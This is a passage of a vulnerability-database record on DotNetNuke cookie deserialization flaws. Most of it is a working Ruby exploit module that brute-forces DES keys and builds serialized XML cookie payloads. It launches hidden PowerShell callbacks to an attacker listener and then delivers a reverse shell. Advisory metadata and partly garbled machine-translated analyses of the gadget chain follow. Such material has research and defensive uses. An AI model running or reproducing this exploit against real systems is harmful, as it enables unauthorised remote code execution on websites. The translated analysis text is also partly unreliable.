@session_token.blank?\r\n fail_with(Failure::BadConfig, \"Target requires a valid SESSION_TOKEN for exploitation.\")\r\n end\r\n end\r\n\r\n if @encrypted && @try_decrypt\r\n # Set IV for decryption as the known plaintext, manually\r\n # apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.\r\n # For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.\r\n # For v9.2.2+ it will find an initial base key faster than if padding were enabled.\r\n f8_plain = @kpt[0, 8]\r\n c_iv = f8_plain.unpack(\"C*\") + [8 - f8_plain.length] * (8 - f8_plain.length)\r\n @decryptor.iv = String.new(c_iv.pack(\"C*\"))\r\n @decryptor.padding = 0\r\n\r\n key = find_key(@verification_codes[0])\r\n if key.blank?\r\n return\r\n end\r\n\r\n if @target_idx == 4\r\n # target is v9.2.2+, requires base64 generated key and IV values.\r\n generate_base_keys(0, key.each_byte.to_a, \"\")\r\n vprint_status(\"Generated #{@possible_keys.size} possible base KEY values from #{key}\")\r\n\r\n # re-enable padding here as it doesn't have the\r\n # same performance impact when trying to find possible IV values.\r\n @decryptor.padding = 1\r\n\r\n print_warning(\"Finding possible base IVs. This may take a few minutes...\")\r\n start = Time.now\r\n find_ivs(@verification_codes, key)\r\n elapsed = Time.now - start\r\n vprint_status(\r\n format(\r\n \"Found %<n_ivs>d potential Base IV values using %<n_codes>d \"\\\r\n \"verification codes in %<e_time>.2f seconds.\",\r\n n_ivs: @possible_ivs.size,\r\n n_codes: @verification_codes.size,\r\n e_time: elapsed.to_s\r\n )\r\n )\r\n\r\n generate_payload_passphrases\r\n vprint_status(format(\"Generated %<n_phrases>d possible base64 KEY and IV combinations.\", n_phrases: @passphrases.size))\r\n end\r\n\r\n if @passphrase.blank?\r\n # test all generated passphrases by\r\n # sending an exploit payload to the target\r\n # that will callback to an HTTP listener\r\n # with the index of the passphrase that worked.\r\n\r\n # set SRVHOST as LHOST value for HTTPServer mixin\r\n datastore['SRVHOST'] = datastore['LHOST']\r\n print_warning(\"Trying all possible KEY and IV combinations...\")\r\n print_status(\"Starting HTTP listener on port #{datastore['SRVPORT']}...\")\r\n start_service\r\n vprint_warning(\"Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...\")\r\n\r\n test_passphrases\r\n\r\n # If no working passphrase has been found,\r\n # wait to allow the the chance for the last one to callback.\r\n if @passphrase.empty? && !@dry_run\r\n sleep(wfs_delay)\r\n end\r\n if service\r\n stop_service\r\n end\r\n print \"\\r\\n\"\r\n if !@passphrase.empty?\r\n print_good(\"KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found\")\r\n end\r\n end\r\n end\r\n send_exploit_payload\r\n end\r\n\r\n # =====================\r\n # For the check command\r\n # =====================\r\n def check\r\n if target.name == 'Automatic'\r\n select_target\r\n end\r\n\r\n @target_idx = Integer(datastore['TARGET'])\r\n\r\n if @target_idx == 0\r\n fail_with(Failure::NoTarget, 'No valid target found or specified.')\r\n end\r\n\r\n # Check if 404 page is custom or not.\r\n # Vulnerability requires custom 404 handling (enabled by default).\r\n uri = normalize_uri(target_uri.path)\r\n print_status(\"Checking for custom error page at: #{uri} ...\")\r\n res = send_request_cgi(\r\n 'uri' => uri\r\n )\r\n\r\n if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600\r\n print_good(\"Custom error page detected.\")\r\n else\r\n print_error(\"IIS Error Page detected.\")\r\n return Exploit::CheckCode::Safe\r\n end\r\n return Exploit::CheckCode::Appears\r\n end\r\n\r\n # ===========================\r\n # Auto-select target version\r\n # ===========================\r\n def select_target\r\n print_status(\"Trying to determine DNN Version...\")\r\n # Check for copyright version in /Documentation/license.txt\r\n uri = %r{^(.*[\\\\\\/])}.match(target_uri.path)[0]\r\n vprint_status(\"Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...\")\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(uri + 'Documentation', 'License.txt')\r\n )\r\n year = -1\r\n if res && res.code == 200\r\n # License page found, get latest copyright year.\r\n matches = @cr_regex.match(res.body)\r\n if matches\r\n year = matches[0].to_i\r\n end\r\n else\r\n vprint_status(\"Checking version at #{uri} ...\")\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(uri)\r\n )\r\n if res && res.code == 200\r\n # Check if copyright info is in page HTML.\r\n matches = @cr_regex.match(res.body)\r\n if matches\r\n year = matches[0].to_i\r\n end\r\n end\r\n end\r\n\r\n if year >= 2018\r\n print_warning(\r\n %q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.\r\nSetting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.\r\nTry setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.\")\r\n )\r\n datastore['TARGET'] = 3\r\n elsif year == 2017\r\n print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')\r\n datastore['TARGET'] = 2\r\n elsif year < 2017 && year > 2008\r\n print_good(\"DNN Version Found: v5.1.0 - v9.0.1\")\r\n datastore['TARGET'] = 1\r\n elsif year == 2008\r\n print_warning(\"DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).\")\r\n datastore['TARGET'] = 1\r\n else\r\n print_warning(\"Could not determine DNN version. Target may still be vulnerable. Manually set the Target value\")\r\n end\r\n end\r\n\r\n # ==============================\r\n # Known plaintext attack to\r\n # brute-force the encryption key\r\n # ==============================\r\n def find_key(cipher_text)\r\n print_status(\"Finding Key...\")\r\n\r\n # Counter\r\n total_keys = @key_charset.length**8\r\n i = 1\r\n\r\n # Set start time\r\n start = Time.now\r\n\r\n # First char\r\n @key_charset.each_byte do |a|\r\n key = a.chr\r\n # 2\r\n @key_charset.each_byte do |b|\r\n key[1] = b.chr\r\n # 3\r\n @key_charset.each_byte do |c|\r\n key[2] = c.chr\r\n # 4\r\n @key_charset.each_byte do |d|\r\n key[3] = d.chr\r\n # 5\r\n @key_charset.each_byte do |e|\r\n key[4] = e.chr\r\n # 6\r\n @key_charset.each_byte do |f|\r\n key[5] = f.chr\r\n # 7\r\n @key_charset.each_byte do |g|\r\n key[6] = g.chr\r\n # 8\r\n @key_charset.each_byte do |h|\r\n key[7] = h.chr\r\n if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))\r\n elapsed = Time.now - start\r\n print_search_status(i, elapsed, total_keys)\r\n print_line\r\n if @target_idx == 4\r\n print_good(\"Possible Base Key Value Found: \" + key)\r\n else\r\n print_good(\"KEY Found: \" + key)\r\n print_good(\"IV Found: \" + @passphrase[8..-1])\r\n end\r\n vprint_status(format(\"Total number of Keys tried: %<n_tried>d\", n_tried: i))\r\n vprint_status(format(\"Time to crack: %<c_time>.3f seconds\", c_time: elapsed.to_s))\r\n return String.new(key)\r\n end\r\n # Print timing info every 5 million attempts\r\n if i % 5000000 == 0\r\n print_search_status(i, Time.now - start, total_keys)\r\n end\r\n i += 1\r\n end\r\n end\r\n end\r\n end\r\n end\r\n end\r\n end\r\n end\r\n elapsed = Time.now - start\r\n print_search_status(i, elapsed, total_keys)\r\n print_line\r\n print_error(\"Key not found\")\r\n vprint_status(format(\"Total number of Keys tried: %<n_tried>d\", n_tried: i))\r\n vprint_status(format(\"Time run: %<r_time>.3f seconds\", r_time: elapsed.to_s))\r\n return nil\r\n end\r\n\r\n # ==================================\r\n # Attempt to decrypt a ciphertext\r\n # and obtain the IV at the same time\r\n # ==================================\r\n def decrypt_data_and_iv(cipher, cipher_text, key)\r\n cipher.key = key\r\n begin\r\n plaintext = cipher.update(cipher_text) + cipher.final\r\n if @target_idx == 4\r\n # Target is v9.2.2+\r\n user_id = plaintext[8, @user_id_pt_length]\r\n if @user_id_regex.match(user_id)\r\n return true\r\n end\r\n\r\n return false\r\n end\r\n\r\n # This should only execute if the version is 9.1.1 - 9.2.1\r\n iv = plaintext[0, 8]\r\n if !@iv_regex.match(iv)\r\n return false\r\n end\r\n\r\n # Build encryption passphrase as DNN does.\r\n @passphrase = key + iv\r\n\r\n # Encrypt the plaintext value using the discovered key and IV\r\n # and compare with the initial ciphertext\r\n if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)\r\n @passphrases.push(String.new(key + iv))\r\n return true\r\n end\r\n rescue StandardError\r\n # Ignore decryption errors to allow execution to continue\r\n return false\r\n end\r\n return false\r\n end\r\n\r\n def print_search_status(num_tries, elapsed, max_tries)\r\n msg = format(\"Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.\", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)\r\n print(\"\\r%bld%blu[*]%clr #{msg}\")\r\n end\r\n\r\n # ===========================\r\n # Encrypt data using the same\r\n # pattern that DNN uses.\r\n # ===========================\r\n def encrypt_data(cipher, message, passphrase)\r\n cipher.key = passphrase[0, 8]\r\n cipher.iv = passphrase[8, 8]\r\n return cipher.update(message) + cipher.final\r\n end\r\n\r\n # ===============================================\r\n # Generate all possible base key values\r\n # used to create the final passphrase in v9.2.2+.\r\n # DES weakness allows multiple bytes to be\r\n # interpreted as the same value.\r\n # ===============================================\r\n def generate_base_keys(pos, from_key, new_key)\r\n if !@unchanged.include? from_key[pos]\r\n if from_key[pos] % 2 == 0\r\n new_key[pos] = (from_key[pos] + 1).chr\r\n else\r\n new_key[pos] = (from_key[pos] - 1).chr\r\n end\r\n\r\n if new_key.length == 8\r\n @possible_keys.add(String.new(new_key))\r\n\r\n # also add key with original value\r\n new_key[pos] = (from_key[pos]).chr\r\n @possible_keys.add(String.new(new_key))\r\n else\r\n generate_base_keys(pos + 1, from_key, String.new(new_key))\r\n\r\n # also generate keys with original value\r\n new_key[pos] = (from_key[pos]).chr\r\n generate_base_keys(pos + 1, from_key, String.new(new_key))\r\n end\r\n else\r\n new_key[pos] = (from_key[pos]).chr\r\n if new_key.length == 8\r\n @possible_keys.add(String.new(new_key))\r\n else\r\n generate_base_keys(pos + 1, from_key, String.new(new_key))\r\n end\r\n end\r\n end\r\n\r\n # ==============================================\r\n # Find all possible base IV values\r\n # used to create the final Encryption passphrase\r\n # ==============================================\r\n def find_ivs(cipher_texts, key)\r\n num_chars = 8 - @kpt.length\r\n f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/\r\n\r\n @decryptor.key = key\r\n found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final\r\n # Find all possible IVs for the first ciphertext\r\n brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1])\r\n\r\n # Reduce IV set by testing against other ciphertexts\r\n cipher_texts.drop(1).each do |cipher_text|\r\n @possible_ivs.each do |iv|\r\n @decryptor.iv = iv\r\n pt = @decryptor.update(cipher_text) + @decryptor.final\r\n if !f8regex.match(pt[0, 8])\r\n @possible_ivs.delete(iv)\r\n end\r\n end\r\n end\r\n end\r\n\r\n # ==========================================\r\n # A recursive function to find all\r\n # possible valid IV values using brute-force\r\n # ==========================================\r\n def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)\r\n charset = \"0123456789abcdef\"\r\n if num_chars_needed == 0\r\n @decryptor.key = key\r\n @decryptor.iv = pt_prefix\r\n pt = @decryptor.update(cipher_text) + @decryptor.final\r\n iv = pt[0, 8]\r\n if @iv_regex.match(iv)\r\n pt = pt_prefix + found_pt\r\n if encrypt_data(@encryptor, pt, key + iv) == cipher_text\r\n @possible_ivs.add(String.new(iv))\r\n end\r\n end\r\n return\r\n end\r\n charset.length.times do |i|\r\n brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)\r\n end\r\n end\r\n\r\n # ========================================\r\n # Generate all possible payload encryption\r\n # passphrases for a v9.2.2+ target\r\n # ========================================\r\n def generate_payload_passphrases\r\n phrases = Set.new(@passphrases)\r\n @possible_keys.each do |key|\r\n @possible_ivs.each do |iv|\r\n phrase = Rex::Text.encode_base64(\r\n encrypt_data(@encryptor, key + iv, key + iv)\r\n )\r\n phrases.add(String.new(phrase[0, 16]))\r\n end\r\n end\r\n @passphrases = phrases.to_a\r\n end\r\n\r\n # ===========================================\r\n # Test all generated passphrases by initializing\r\n # an HTTP server to listen for a callback that\r\n # contains the index of the successful passphrase.\r\n # ===========================================\r\n def test_passphrases\r\n for i in 0..@passphrases.size - 1\r\n # Stop sending if we've found the passphrase\r\n if !@passphrase.empty?\r\n break\r\n end\r\n\r\n msg = format(\"Trying KEY and IV combination %<current>d of %<total>d...\", current: i + 1, total: @passphrases.size)\r\n print(\"\\r%bld%blu[*]%clr #{msg}\")\r\n\r\n url = \"#{get_uri}?#{get_resource.delete('/')}=#{i}\"\r\n payload = create_request_payload(url)\r\n cookie = create_cookie(payload)\r\n\r\n # Encrypt cookie value\r\n enc_cookie = Rex::Text.encode_base64(\r\n encrypt_data(@encryptor, cookie, @passphrases[i])\r\n )\r\n if @dry_run\r\n print_line\r\n print_warning(\"DryRun enabled. No exploit payloads have been sent to the target.\")\r\n print_warning(\"Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...\")\r\n print_line(enc_cookie)\r\n break\r\n end\r\n execute_command(enc_cookie, host: datastore['RHOST'])\r\n end\r\n end\r\n\r\n # ===============================\r\n # Request handler for HTTP server.\r\n # ==============================\r\n def on_request_uri(cli, request)\r\n # Send 404 to prevent scanner detection\r\n send_not_found(cli)\r\n\r\n # Get found index - should be the only query string parameter\r\n if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]\r\n index = request.qstring[get_resource.delete('/').to_s].to_i\r\n @passphrase = String.new(@passphrases[index])\r\n end\r\n end\r\n\r\n # ==============================================\r\n # Create payload to callback to the HTTP server.\r\n # Note: This technically exploits the\r\n # vulnerability, but provides a way to determine\r\n # the valid passphrase needed to exploit again.\r\n # ==============================================\r\n def create_request_payload(url)\r\n psh_cmd = \"/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \\\"Invoke-WebRequest '#{url}'\\\"\"\r\n psh_cmd_bytes = psh_cmd.bytes.to_a\r\n\r\n cmd_size_bytes = write_encoded_int(psh_cmd.length)\r\n\r\n # Package payload into serialized object\r\n payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end\r\n\r\n object_size = write_encoded_int(payload_object.length)\r\n\r\n # Create the final seralized ObjectStateFormatter payload\r\n final_payload = @osf_header + object_size + payload_object\r\n\r\n b64_payload = Rex::Text.encode_base64(final_payload.pack(\"C*\"))\r\n return b64_payload\r\n end\r\n\r\n # =============================================\r\n # Reproduce the WriteEncoded method in\r\n # the native .NET ObjectStateFormatter.cs file.\r\n # =============================================\r\n def write_encoded_int(value)\r\n enc = []\r\n while (value >= 0x80)\r\n v = value | 0x80\r\n enc.push([v].pack(\"V\")[0].unpack1(\"C*\"))\r\n value >>= 7\r\n end\r\n enc.push([value].pack(\"V\")[0].unpack1(\"C*\"))\r\n return enc\r\n end\r\n\r\n # =================================\r\n # Creates the payload cookie\r\n # using the specified payload\r\n # =================================\r\n def create_cookie(payload)\r\n cookie = \"<profile>\"\\\r\n \"<item key=\\\"k\\\" type=\\\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, \"\\\r\n \"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],\"\\\r\n \"[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, \"\\\r\n \"Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, \"\\\r\n \"Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\\\">\"\\\r\n \"<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>\"\\\r\n \"<ProjectedProperty0>\"\\\r\n \"<MethodName>Deserialize</MethodName>\"\\\r\n \"<MethodParameters>\"\\\r\n \"<anyType xmlns:i=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" \"\\\r\n \"xmlns:d=\\\"http://www.w3.org/2001/XMLSchema\\\" i:type=\\\"d:string\\\" \"\\\r\n \">#{payload}</anyType>\"\\\r\n \"</MethodParameters>\"\\\r\n \"<ObjectInstance xmlns:i=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" \"\\\r\n \"i:type=\\\"ObjectStateFormatter\\\" />\"\\\r\n \"</ProjectedProperty0>\"\\\r\n \"</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>\"\\\r\n \"</item>\"\\\r\n \"</profile>\"\r\n return cookie\r\n end\r\n\r\n # =========================================\r\n # Send the payload to the target server.\r\n # =========================================\r\n def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })\r\n uri = normalize_uri(target_uri.path)\r\n\r\n res = send_request_cgi(\r\n 'uri' => uri,\r\n 'cookie' => \".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};\"\r\n )\r\n if !res\r\n fail_with(Failure::Unreachable, \"#{opts[:host]} - target unreachable.\")\r\n elsif res.code == 404\r\n return true\r\n elsif res.code == 400\r\n fail_with(Failure::BadConfig, \"#{opts[:host]} - payload resulted in a bad request - #{res.body}\")\r\n else\r\n fail_with(Failure::Unknown, \"#{opts[:host]} - Something went wrong- #{res.body}\")\r\n end\r\n end\r\n\r\n # ======================================\r\n # Create and send final exploit payload\r\n # to obtain a reverse shell.\r\n # ======================================\r\n def send_exploit_payload\r\n cmd_payload = create_payload\r\n cookie_payload = create_cookie(cmd_payload)\r\n if @encrypted\r\n if @passphrase.blank?\r\n print_error(\"Target requires encrypted payload, but a passphrase was not found or specified.\")\r\n return\r\n end\r\n cookie_payload = Rex::Text.encode_base64(\r\n encrypt_data(@encryptor, cookie_payload, @passphrase)\r\n )\r\n end\r\n if @dry_run\r\n print_warning(\"DryRun enabled. No exploit payloads have been sent to the target.\")\r\n print_warning(\"Printing exploit cookie payload...\")\r\n print_line(cookie_payload)\r\n return\r\n end\r\n\r\n # Set up the payload handlers\r\n payload_instance.setup_handler\r\n\r\n # Start the payload handler\r\n payload_instance.start_handler\r\n\r\n print_status(\"Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...\")\r\n execute_command(cookie_payload, host: datastore['RHOST'])\r\n end\r\n\r\n # ===================================\r\n # Create final exploit paylod based on\r\n # supplied payload options.\r\n # ===================================\r\n def create_payload\r\n # Create payload\r\n psh_cmd = \"/b /c start /b /min \" + cmd_psh_payload(\r\n payload.encoded,\r\n payload_instance.arch.first,\r\n remove_comspec: true, encode_final_payload: false\r\n )\r\n\r\n psh_cmd_bytes = psh_cmd.bytes.to_a\r\n cmd_size_bytes = write_encoded_int(psh_cmd.length)\r\n\r\n # Package payload into serialized object\r\n payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end\r\n object_size = write_encoded_int(payload_object.length)\r\n\r\n # Create the final seralized ObjectStateFormatter payload\r\n final_payload = @osf_header + object_size + payload_object\r\n b64_payload = Rex::Text.encode_base64(final_payload.pack(\"C*\"))\r\n\r\n vprint_status(\"Payload Object Created.\")\r\n\r\n return b64_payload\r\n end\r\nend", "sourceHref": "https://www.exploit-db.com/download/48336", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "checkpoint_advisories": [{"lastseen": "2021-12-17T11:31:56", "description": "An object deserialization vulnerability exists in DotNetNuke web content management system. A remote unauthenticated attacker may exploit this vulnerability by sending a crafted file to the web application.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2017-10-17T00:00:00", "type": "checkpoint_advisories", "title": "DNN Cookie Deserialization Remote Code Execution (CVE-2017-9822)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9822"], "modified": "2018-01-10T00:00:00", "id": "CPAI-2018-0023", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2021-12-17T11:06:12", "description": "A Remote Code Execution vulnerability exists in Dnnsoftware DotNetNuke. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 3.6}, "published": "2021-12-16T00:00:00", "type": "checkpoint_advisories", "title": "Dnnsoftware DotNetNuke Remote Code Execution (CVE-2018-15811)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15811"], "modified": "2021-12-16T00:00:00", "id": "CPAI-2018-1794", "href": "", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "seebug": [{"lastseen": "2017-11-19T11:56:34", "description": "### 0x00 background description\n\nDNN uses web cookies to identify users. A malicioususer can decode one of such cookies and identify who that user is, and possiblyimpersonate other users and even upload malicious code to the server. \\--DNNsecurity-center\n\n2017 7 November 5, DNN security sector released a number CVE-2017-9822 serious vulnerability, then the vulnerability report by Alvaro Mu\u00f1oz (@pwntester)and OleksandrMirosh in BlackHat USA 2017 disclose some of the details. 360CERT follow-up analysis of the vulnerability and its in the. net use the XmlSerializer for serialization/deserialization of the attack the use of scenarios, identified as a serious vulnerability.\n\n### 0x01 vulnerability overview\n\nDNNPersonalization is a DNN is used to store the logged in user of the personal data of the Cookie, the Cookie can be attacker to modify in order to achieve the server arbitrary file upload, remote code execution and other attacks.\n\n### 0x02 vulnerability overview\n\n * Affect\n\n * Vulnerability rating: Critical\n * Allegedly, the world has more than 75 million users in using DNN to build their website, the scope of impact is large.\n * Impact version From 5. 0. 0 to 9. 1. 0 all version\n\n * Fix version DNN Platform 9.1.1 and EVOQ 9.1.1\n\n### 0x03 vulnerability details\n\nDNNPersonalization is a DNN is used to store the logged in user of the personal data of the Cookie, the Cookie can be attacker to modify in order to achieve the server arbitrary file upload, remote code execution and other attacks.\n\n#### 1\\. Vulnerability code\n\nPersonalizationController. cs66-72 line: \n\nFrom Cookie get to DNNPersonalization value and then passed to the Globals in the DeserializeHashTableXml method.\n\nGlobals. cs 3687-3690 line: \n\nThen follow up XmlUtils of DeSerializeHashtable method.\n\nXmlUtils. cs 184-218 line: \n\nThis method will use the item in the element type property value to set type, and in 208 rows where the element content is deserialized, here is the vulnerability of the trigger point. Vulnerability in the code from the touch input point to the final can take advantage of this process is quite intuitive, the next is for like this using the XmlSerializer to deserialize the vulnerability point for an attack using the analysis.\n\n### 0x04 attacks the use of analysis\n\n#### 1\\. The XmlSerializer the use of\n\n\n\nWhen a class is serialized or deserialized when they are required to pass the class type information. To see the generated sequence of data in the form of: \n\nIs an XML document, the class name and member variables are the elements to represent.\n\n#### 2\\. The use of chain structure\n\nModify the top of the TestClass class, which member variables of the test package. \n\nThis time and then to observe the code in the deserialization of the output, you can clearly know the setter is called automatically, so the setter can be as the use of the chain of the first step. The next step is to go find some can be used as an attack class.\n\nSystem. Windows. Data. ObjectDataProvider can call any of the run-time of the referenced class of any method. An example: \n\nQuite in tune with the TestClass. FuncExample(\u201cJustATest!\u201d) , The ObjectDataProvider in the member variables are encapsulated, and each time you call the setter after the detection parameters are sufficient, enough the words will automatically go to the call incoming of the method. Wherein the process of borrowing BlackHat topics in a map to show. \n\nThus if serialization is an ObjectDataProvider class, then in the reverse sequence you can do any method calls to effect. Then find a the presence of can achieve the desired use of the effect of the method of the class on the line, such as DNN in there that one can do arbitrary file upload effect class,\n\nDotNetNuke. Common. Utilities. FileSystemUtils in the PullFile method: \n\n#### 3\\. Payload generation\n\nTo generate the payload there is a little problem need to solve, is the ObjectDataProvider that contains a System. Object member variables objectInstance, of the time of execution of the XmlSerializer don't know this variable is of specific type, resulting in no serialization. But this problem can be through the use of ExpandedWrapper the extended attribute type to solve. \n\nGenerated content as follows: \n\nDNN is by acquiring the item of property the value type, then call Type. The GetType to get the serialization of the data type and then performs deserialization. So need to add the corresponding Assembly name, you can use the following code to get the type of the value:  \n\nConjunction with the DNN code to generate the final Payload: \n\n### 0x05 exploit verification\n\nThe vulnerability is triggered to the point where the DeSerializeHashtable function on a local to do an exploit validation. \n\nThen look at the server side, you can see the exploit is successful. \n", "cvss3": {}, "published": "2017-08-03T00:00:00", "type": "seebug", "title": "DotNetNuke arbitrary code execution vulnerability(CVE-2017-9822)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-9822"], "modified": "2017-08-03T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96326", "id": "SSV:96326", "sourceData": "", "sourceHref": "", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "myhack58": [{"lastseen": "2019-03-06T15:30:21", "description": "\u5728.NET in the framework of the XmlSerializer class is a great tool, it is a highly structured XML data is mapped to . NET objects. The XmlSerializer class in the program through a single API call to perform the XML document and the object conversion between. The conversion mapping rules in the . NET class via metadata properties to represent, if the application developer to use the Type class's static method to get external data, and call the Deserialize deserialize xml data it will trigger a deserialization exploit such as DotNetNuke arbitrary code execution vulnerability CVE-2017-9822, the article author from the principles and the code of audit perspective to do the relevant brain map presentation and reproduction. \n! [](/Article/UploadPic/2019-3/201936185043104. png) \n\n0X01 XmlSerializer serialization \n. NET Framework System. Xml. Serialization namespace in the XmlSerializer class that can be XML document to bind to . NET class of the instance, there is little need to note that it is only the object's public properties and public fields is converted to an XML element or attribute, and by two methods of composition: the Serialize() is used from the object instance of the generated XML; the Deserialize() for the XML document of the analysis object diagram is a sequence of data may be a data, fields, arrays, as well as the XmlElement and XmlAttribute object format of the embedded XML. Specifically look at the following demo \n! [](/Article/UploadPic/2019-3/201936185043563. png) \nXmlElement specifies the attributes to be serialized for the element, XmlAttribute specifies the attribute to be serialized as an attribute, the XmlRoot attribute to specify the class to be serialized as the root element; by the characteristics of the type of property, the impact to the generated name, name space and type. Then create a TestClass instance of the class to populate its properties are serialized to the file, and the XmlSerializer. The Serialize method overload can accept the Stream, TextWrite, the XmlWrite class, the resulting XML file lists TestClass element, Classname properties and other storage for the element attributes: \n! [](/Article/UploadPic/2019-3/201936185043702. png) \n\n0x02 XmlSerialize deserialization \nThe reverse sequence of the process: the xml file is converted to objects is by creating a new object called the XmlSerializer. The Deserialize method to achieve, in the sequence of the most critical ring is the new XmlSerializer constructor the parameters to pass this parameter from the System. Type class, this class can be accessed on any data type information, point to any given type of the Type referenced in the following three ways. \n2.1, typeof \nInstantiate the XmlSerializer incoming typeof(TestClass) represents the acquisition TestClass the class of the Type, the typeof is a C#operator, the transmission parameter can only be a type name, not the instantiated object, as the following Demo \n! [](/Article/UploadPic/2019-3/201936185043325. png) \nBy typeof gets the Type after which you can give the class all of the Methods, the Members and other information. The following figure runs Debug, a pop-up message dialog box displays the current members of the Name of the value. \n! [](/Article/UploadPic/2019-3/201936185043693. png) \n2.2, the object. Type \nIn the. NET all classes are ultimately derived from System. Object, in the Object class defines a number of public and protected member methods, these methods can be used to define all other types, the GetType method is one, the method returns from the System. The Type derivation of an instance of the class, because it can provide the object the member belongs to the class of information, including the basic types, methods, properties, etc., the above-described case in the instance of the TestClass, and then get the current instance of the Type, as in the following Demo \n! [](/Article/UploadPic/2019-3/201936185043955. png) \n2.3, Type. GetType \nThe third method is to Type the class to static method GetType, this method allows the outside of the incoming string, which is a major plus, you'll need to pass fully qualified name you can call the class methods, properties, etc. \n! [](/Article/UploadPic/2019-3/201936185043463. png) \nType. GetType incoming parameter is deserialized to produce the vulnerability to pollution point, the next step is to go look for can be used to attack the use of the class. \n\n0X03 build the attack chain \nFirst put on the attack chain to build after the success of the full Demo, this Demo can be multiplexed in any place \u8fd9\u91cc\u4e0d\u6d89\u53ca.NET Core, MVC, as figure \n! [](/Article/UploadPic/2019-3/201936185043220. png) \nAs long as the XmlSerializer the presence of deserialization vulnerability you can use the following Demo of content that relates to the three main technical points, the following were to introduce the principle. \n3.1, the ObjectDataProvider \nObjectDataProvider class, which is located in the System. Windows. Data 